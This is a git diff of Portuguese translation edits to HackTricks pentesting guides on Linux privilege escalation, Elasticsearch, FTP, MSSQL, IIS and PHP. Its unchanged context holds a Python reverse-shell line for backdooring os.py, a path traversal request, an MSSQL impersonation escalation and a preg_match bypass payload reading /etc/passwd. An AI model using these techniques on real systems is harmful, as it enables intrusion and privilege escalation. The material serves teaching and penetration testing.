poderá **pular** via ssh **para um host** e, a partir daí, **pular para outro** host **usando** a **chave** localizada no seu **host inicial**. Você precisa definir essa opção em `$HOME/.ssh.config` assim: ``` Host example.com ForwardAgent yes ``` -Observe que se `Host` for `*`, toda vez que o usuário mudar para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). +Observe que se `Host` for `*`, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). O arquivo `/etc/ssh_config` pode **substituir** essas **opções** e permitir ou negar essa configuração.\ O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o encaminhamento do ssh-agent com a palavra-chave `AllowAgentForwarding` (o padrão é permitir). -Se você descobrir que o Forward Agent está configurado em um ambiente, leia a seguinte página, pois **você pode ser capaz de abusar disso para escalar privilégios**: +Se você descobrir que o Forward Agent está configurado em um ambiente, leia a página a seguir, pois **você pode ser capaz de abusar disso para escalar privilégios**: {{#ref}} ssh-forward-agent-exploitation.md @@ -1216,7 +1216,7 @@ su - dummy ``` NOTA: Em plataformas BSD, `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso, o `/etc/shadow` é renomeado para `/etc/spwd.db`. -Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**? +Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1235,7 +1235,7 @@ As seguintes pastas podem conter backups ou informações interessantes: **/tmp* ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Localização Estranha/Arquivos Possuídos +### Arquivos em Localização Estranha/Propriedade ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1292,7 +1292,7 @@ Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalat ### Logs Se você puder ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho o log, mais interessante ele será (provavelmente).\ -Além disso, alguns **logs de auditoria** "**mal**" configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Além disso, alguns **logs de auditoria** **"mal"** configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1319,9 +1319,9 @@ Não vou listar aqui como fazer tudo isso, mas se você estiver interessado, pod ### Python library hijacking -Se você souber **de onde** um script python será executado e **puder escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e criar um backdoor (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). +Se você souber **de onde** um script python será executado e **puder escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e backdoor ela (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). -Para **criar um backdoor na biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT): +Para **backdoor a biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` @@ -1344,7 +1344,7 @@ Esta vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvede Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**. -Scripts de rede, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). +Scripts de rede, como _ifcg-eth0_, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). No meu caso, o `NAME=` atribuído nesses scripts de rede não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. @@ -1356,9 +1356,9 @@ DEVICE=eth0 ``` ### **init, init.d, systemd e rc.d** -O diretório `/etc/init.d` é o lar de **scripts** para o System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart` e, às vezes, `reload` serviços. Esses podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. +O diretório `/etc/init.d` é o lar de **scripts** para o System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart` e, às vezes, `reload` serviços. Esses scripts podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. -Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais novo introduzido pelo Ubuntu, usando arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts do SysVinit ainda são utilizados juntamente com configurações do Upstart devido a uma camada de compatibilidade no Upstart. +Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais novo introduzido pelo Ubuntu, que utiliza arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts do SysVinit ainda são utilizados juntamente com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. **systemd** surge como um gerenciador de inicialização e serviços moderno, oferecendo recursos avançados, como inicialização de daemon sob demanda, gerenciamento de automontagem e instantâneas do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações de administradores, simplificando o processo de administração do sistema. @@ -1370,7 +1370,7 @@ Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escapando de Shells restritos +### Escapando de Shells restritas {{#ref}} escaping-from-limited-bash.md @@ -1408,14 +1408,14 @@ cisco-vmanage.md ## Referências -- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ -- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ -- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\ -- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\ -- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\ -- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\ -- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\ -- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\ +- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) +- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) +- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) +- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html) +- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827) +- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf) +- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation) +- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) - [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i) - [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/) - [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html) diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index b1ed743ce..4ed6b61f6 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -89,18 +89,18 @@ Aqui estão alguns endpoints que você pode **acessar via GET** para **obter** a Esses endpoints foram [**retirados da documentação**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) onde você pode **encontrar mais**.\ Além disso, se você acessar `/_cat`, a resposta conterá os endpoints `/_cat/*` suportados pela instância. -Em `/_security/user` (se a autenticação estiver habilitada) você pode ver qual usuário tem o papel de `superuser`. +Em `/_security/user` (se a autenticação estiver habilitada) você pode ver qual usuário tem o papel `superuser`. ### Índices -Você pode **reunir todos os índices** acessando `http://10.10.10.115:9200/_cat/indices?v` +Você pode **coletar todos os índices** acessando `http://10.10.10.115:9200/_cat/indices?v` ``` health status index uuid pri rep docs.count docs.deleted store.size pri.store.size green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb ``` -Para obter **informações sobre que tipo de dados estão salvos dentro de um índice**, você pode acessar: `http://host:9200/` do exemplo, neste caso `http://10.10.10.115:9200/bank` +Para obter **informações sobre que tipo de dados estão salvos dentro de um índice**, você pode acessar: `http://host:9200/` neste caso, `http://10.10.10.115:9200/bank` ![](<../images/image (342).png>) @@ -112,9 +112,9 @@ Se você quiser **extrair todo o conteúdo** de um índice, pode acessar: `http: _Tire um momento para comparar o conteúdo de cada documento (entrada) dentro do índice bank e os campos deste índice que vimos na seção anterior._ -Então, neste ponto, você pode notar que **há um campo chamado "total" dentro de "hits"** que indica que **1000 documentos foram encontrados** dentro deste índice, mas apenas 10 foram recuperados. Isso ocorre porque **por padrão há um limite de 10 documentos**.\ +Então, neste ponto, você pode notar que **existe um campo chamado "total" dentro de "hits"** que indica que **1000 documentos foram encontrados** dentro deste índice, mas apenas 10 foram recuperados. Isso ocorre porque **por padrão há um limite de 10 documentos**.\ Mas, agora que você sabe que **este índice contém 1000 documentos**, você pode **extrair todos eles** indicando o número de entradas que deseja extrair no parâmetro **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_Nota: Se você indicar um número maior, todas as entradas serão extraídas de qualquer maneira, por exemplo, você poderia indicar `size=9999` e seria estranho se houvesse mais entradas (mas você deve verificar)._ +\_Nota: Se você indicar um número maior, todas as entradas serão extraídas de qualquer maneira, por exemplo, você poderia indicar `size=9999` e seria estranho se houvesse mais entradas (mas você deve verificar)._ ### Dump all @@ -123,7 +123,7 @@ Lembre-se de que, neste caso, o **limite padrão de 10** resultados será aplica ### Search -Se você está procurando por alguma informação, pode fazer uma **busca bruta em todos os índices** indo para `http://host:9200/_search?pretty=true&q=` como em `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` +Se você está procurando alguma informação, pode fazer uma **busca bruta em todos os índices** indo para `http://host:9200/_search?pretty=true&q=` como em `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` ![](<../images/image (335).png>) diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index dc6d5486a..b322bf40c 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -24,7 +24,7 @@ Fonte: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-atta ### Depuração de Conexão -Os comandos **FTP** **`debug`** e **`trace`** podem ser usados para ver **como a comunicação está ocorrendo**. +Os comandos **FTP** **`debug`** e **`trace`** podem ser usados para ver **como está ocorrendo a comunicação**. ## Enumeração @@ -88,8 +88,8 @@ STAT ### Login anônimo _anonymous : anonymous_\ -\&#xNAN;_anonymous :_\ -\&#xNAN;_ftp : ftp_ +\_anonymous :_\ +\_ftp : ftp_ ```bash ftp >anonymous @@ -101,11 +101,11 @@ ftp ``` ### [Força bruta](../../generic-hacking/brute-force.md#ftp) -Aqui você pode encontrar uma boa lista com credenciais padrão de ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) +Aqui você pode encontrar uma boa lista com credenciais FTP padrão: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) ### Automatizado -Verificações de login anônimo e de bounce FTP são realizadas por padrão pelo nmap com a opção **-sC** ou: +Login anônimo e verificações de bounce FTP são realizadas por padrão pelo nmap com a opção **-sC** ou: ```bash nmap --script ftp-* -p 21 ``` @@ -203,7 +203,7 @@ A configuração padrão do vsFTPd pode ser encontrada em `/etc/vsftpd.conf`. Aq - `ftp` - `port:21` -## Comandos Automáticos HackTricks +## HackTricks Comandos Automáticos ``` Protocol_Name: FTP #Protocol Abbreviation if there is one. Port_Number: 21 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index f6114c865..91ec1c3ed 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,17 +6,17 @@ De [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** é um sistema de gerenciamento de **banco de dados relacional** desenvolvido pela Microsoft. Como um servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outras aplicações de software—que podem ser executadas no mesmo computador ou em outro computador através de uma rede (incluindo a Internet).\\ +> **Microsoft SQL Server** é um sistema de gerenciamento de **banco de dados relacional** desenvolvido pela Microsoft. Como um servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outras aplicações de software—que podem ser executadas no mesmo computador ou em outro computador através de uma rede (incluindo a Internet). **Porta padrão:** 1433 ``` 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM ``` -### **Tabelas de Sistema Padrão MS-SQL** +### **Tabelas de Sistema Padrão do MS-SQL** - **Banco de Dados master**: Este banco de dados é crucial, pois captura todos os detalhes em nível de sistema para uma instância do SQL Server. - **Banco de Dados msdb**: O SQL Server Agent utiliza este banco de dados para gerenciar o agendamento de alertas e trabalhos. -- **Banco de Dados model**: Serve como um modelo para cada novo banco de dados na instância do SQL Server, onde quaisquer alterações como tamanho, collation, modelo de recuperação e mais são refletidas nos bancos de dados recém-criados. +- **Banco de Dados model**: Funciona como um modelo para cada novo banco de dados na instância do SQL Server, onde quaisquer alterações como tamanho, collation, modelo de recuperação e mais são refletidas nos bancos de dados recém-criados. - **Banco de Dados Resource**: Um banco de dados somente leitura que abriga objetos de sistema que acompanham o SQL Server. Esses objetos, embora armazenados fisicamente no banco de dados Resource, são apresentados logicamente no esquema sys de cada banco de dados. - **Banco de Dados tempdb**: Serve como uma área de armazenamento temporário para objetos transitórios ou conjuntos de resultados intermediários. @@ -159,10 +159,10 @@ SELECT * FROM sysusers - **Servidor** – Exemplos incluem bancos de dados, logins, endpoints, grupos de disponibilidade e funções de servidor. - **Banco de Dados** – Exemplos abrangem função de banco de dados, funções de aplicativo, esquema, certificados, catálogos de texto completo e usuários. - **Esquema** – Inclui tabelas, visões, procedimentos, funções, sinônimos, etc. -2. **Permissão:** Associada a securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis: +2. **Permissão:** Associada aos securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis: - **Nível de Servidor** usando logins - **Nível de Banco de Dados** usando usuários -3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso a securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e usuários em funções equipadas com direitos de acesso. +3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso aos securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e usuários em funções equipadas com direitos de acesso. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -278,7 +278,7 @@ Você pode ver como usar essas ferramentas em: ### Abusando de Links Confiáveis do MSSQL -[**Leia este post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar desse recurso:** +[**Leia este post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar dessa funcionalidade:** {{#ref}} ../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -345,7 +345,7 @@ GO Microsoft SQL Server fornece **múltiplas procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** -| **Regular** | **Ciente da Instância** | +| **Regular** | **Ciente da Instância** | | --------------------------- | ------------------------------------ | | sys.xp_regread | sys.xp_instance_regread | | sys.xp_regenumvalues | sys.xp_instance_regenumvalues | @@ -370,7 +370,7 @@ Para **mais exemplos**, confira a [**fonte original**](https://blog.waynesheffie ### RCE com Função Definida pelo Usuário MSSQL - SQLHttp -É possível **carregar um dll .NET dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou um papel de Administrador**. +É possível **carregar um .NET dll dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou um papel de Administrador**. [**Seguindo este link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver um exemplo. @@ -484,7 +484,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer ``` ### Impersonação de outros usuários -O SQL Server tem uma permissão especial, chamada **`IMPERSONATE`**, que **permite que o usuário em execução assuma as permissões de outro usuário** ou login até que o contexto seja redefinido ou a sessão termine. +SQL Server tem uma permissão especial, chamada **`IMPERSONATE`**, que **permite que o usuário em execução assuma as permissões de outro usuário** ou login até que o contexto seja redefinido ou a sessão termine. ```sql # Find users you can impersonate SELECT distinct b.name @@ -505,7 +505,7 @@ enum_links use_link [NAME] ``` > [!NOTE] -> Se você puder se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar **se o usuário tem acesso** a outros **bancos de dados** ou servidores vinculados. +> Se você puder se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar se o **usuário tem acesso** a outros **bancos de dados** ou servidores vinculados. Observe que, uma vez que você é sysadmin, pode se passar por qualquer outro: ```sql @@ -521,7 +521,7 @@ Você pode realizar este ataque com um módulo **metasploit**: ```bash msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` -ou com um **PS** script: +ou com um script **PS**: ```powershell # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 @@ -529,6 +529,8 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ``` ## Usando MSSQL para Persistência +[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) + ## Extraindo senhas de Servidores Vinculados do SQL Server Um atacante pode extrair senhas de Servidores Vinculados do SQL Server das Instâncias SQL e obtê-las em texto claro, concedendo ao atacante senhas que podem ser usadas para adquirir uma maior presença no alvo. O script para extrair e descriptografar as senhas armazenadas para os Servidores Vinculados pode ser encontrado [aqui](https://www.richardswinbank.net/admin/extract_linked_server_passwords) @@ -543,9 +545,9 @@ Após validar suas permissões, você precisa configurar três coisas, que são Para automatizar essas configurações, [este repositório](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tem os scripts necessários. Além de ter um script powershell para cada etapa da configuração, o repositório também possui um script completo que combina os scripts de configuração e a extração e descriptografia das senhas. -Para mais informações, consulte os seguintes links sobre este ataque: [Descriptografando Senhas de Servidor de Link de Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +Para mais informações, consulte os seguintes links sobre este ataque: [Descriptografando Senhas de Servidor de Link do Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) -[Solução de Problemas da Conexão Dedicada de Administrador do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) +[Resolvendo Problemas com a Conexão Dedicada de Administrador do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## Escalação de Privilégios Local diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 2e539753c..37f51f00b 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -50,7 +50,7 @@ Ela foi criada mesclando os conteúdos das seguintes listas: [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\ [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt) -Use-a sem adicionar nenhuma extensão, os arquivos que precisam já a têm. +Use-a sem adicionar nenhuma extensão, os arquivos que precisam já a possuem. ## Path Traversal @@ -59,9 +59,9 @@ Use-a sem adicionar nenhuma extensão, os arquivos que precisam já a têm. Verifique a descrição completa em: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) > [!NOTE] -> Como resumo, há vários arquivos web.config dentro das pastas da aplicação com referências a "**assemblyIdentity**" e "**namespaces**". Com essa informação, é possível saber **onde estão os executáveis** e baixá-los.\ +> Em resumo, há vários arquivos web.config dentro das pastas da aplicação com referências a arquivos "**assemblyIdentity**" e "**namespaces**". Com essa informação, é possível saber **onde estão localizados os executáveis** e baixá-los.\ > A partir dos **Dlls baixados**, também é possível encontrar **novos namespaces** onde você deve tentar acessar e obter o arquivo web.config para encontrar novos namespaces e assemblyIdentity.\ -> Além disso, os arquivos **connectionstrings.config** e **global.asax** podem conter informações interessantes.\\ +> Além disso, os arquivos **connectionstrings.config** e **global.asax** podem conter informações interessantes. Em **aplicações .Net MVC**, o arquivo **web.config** desempenha um papel crucial ao especificar cada arquivo binário do qual a aplicação depende através de tags XML **"assemblyIdentity"**. @@ -100,9 +100,9 @@ A menção a um namespace personalizado sugere a presença de uma DLL chamada "* GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` -Isso sugere a presença de outras DLLs essenciais, como **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, no diretório /bin. +Isso sugere a presença de outros DLLs essenciais, como **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, no diretório /bin. -Em um cenário onde uma DLL importa um namespace chamado **WebApplication1.Areas.Minded**, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como **/area-name/Views/**, contendo configurações específicas e referências a outras DLLs na pasta /bin. Por exemplo, uma solicitação para **/Minded/Views/web.config** pode revelar configurações e namespaces que indicam a presença de outra DLL, **WebApplication1.AdditionalFeatures.dll**. +Em um cenário onde um DLL importa um namespace chamado **WebApplication1.Areas.Minded**, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como **/area-name/Views/**, contendo configurações específicas e referências a outros DLLs na pasta /bin. Por exemplo, uma solicitação para **/Minded/Views/web.config** pode revelar configurações e namespaces que indicam a presença de outro DLL, **WebApplication1.AdditionalFeatures.dll**. ### Arquivos comuns @@ -187,7 +187,7 @@ C:\xampp\tomcat\conf\server.xml Se você ver um erro como o seguinte: -![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) +![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) Isso significa que o servidor **não recebeu o nome de domínio correto** dentro do cabeçalho Host.\ Para acessar a página da web, você pode dar uma olhada no **Certificado SSL** servido e talvez encontre o nome do domínio/subdomínio lá. Se não estiver lá, você pode precisar **forçar VHosts** até encontrar o correto. diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 17b01e523..949afd14a 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -Para contornar essa verificação, você pode **enviar o valor com novas linhas urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**: +Para contornar essa verificação, você pode **enviar o valor com quebras de linha urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**: ```php { "cmd": "cat /etc/passwd" @@ -98,7 +98,7 @@ Encontre um exemplo aqui: [https://ramadistra.dev/fbctf-2019-rceservice](https:/ #### **Bypass de erro de comprimento** (Este bypass foi aparentemente testado no PHP 5.2.5 e eu não consegui fazê-lo funcionar no PHP 7.3.15)\ -Se você puder enviar para `preg_match()` uma **entrada** **muito grande** válida, ele **não conseguirá processá-la** e você poderá **burlar** a verificação. Por exemplo, se estiver bloqueando um JSON, você poderia enviar: +Se você puder enviar para `preg_match()` uma **entrada muito grande** válida, ele **não conseguirá processá-la** e você poderá **burlar** a verificação. Por exemplo, se estiver bloqueando um JSON, você poderia enviar: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -156,7 +156,7 @@ Verifique: - **register_globals**: Em **PHP < 4.1.1.1** ou se mal configurado, **register_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET, se tiverem um valor, por exemplo, $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, ao enviar parâmetros HTTP, você pode sobrescrever variáveis\*\* que são usadas dentro do código. - Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do outro caminho** definindo o valor do cookie do outro caminho.\ Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome**, você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidos as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2). -- Quando você tiver os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\** para ver se os diretórios php estão ativados. +- Quando você tem os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\** para ver se os diretórios php estão ativados. - [**LFI e RCE usando wrappers php**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -174,9 +174,9 @@ True #### Causando erro após definir 